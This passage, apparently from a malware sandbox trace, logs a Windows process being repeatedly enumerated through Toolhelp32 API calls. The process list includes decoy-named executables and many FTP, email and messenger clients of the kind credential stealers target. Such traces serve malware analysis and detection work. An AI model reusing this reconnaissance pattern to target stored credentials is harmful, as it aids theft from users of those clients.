hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0222.663] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0222.665] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0222.667] CloseHandle (hObject=0x11c8) returned 1 [0222.667] Sleep (dwMilliseconds=0x64) [0222.668] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0222.681] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.683] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.685] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.687] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.689] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.690] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.692] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.694] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.695] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.697] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.699] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.700] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.702] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.704] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.706] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.707] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.709] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.711] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.712] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.714] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.716] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.718] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.719] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.721] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.722] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0222.724] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0222.726] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0222.773] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.778] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.780] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0222.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0222.786] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0222.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0222.790] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0222.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0222.796] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0222.798] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0222.800] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0222.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0222.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0222.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0222.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0222.808] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0222.810] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0222.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0222.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0222.815] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0222.817] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0222.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0222.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0222.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0222.824] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0222.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0222.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0222.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0222.832] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0222.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0222.836] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.839] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.844] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.846] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.847] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.850] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.852] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.854] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.857] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.859] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.861] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.863] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0222.865] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0222.867] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0222.869] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0222.871] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 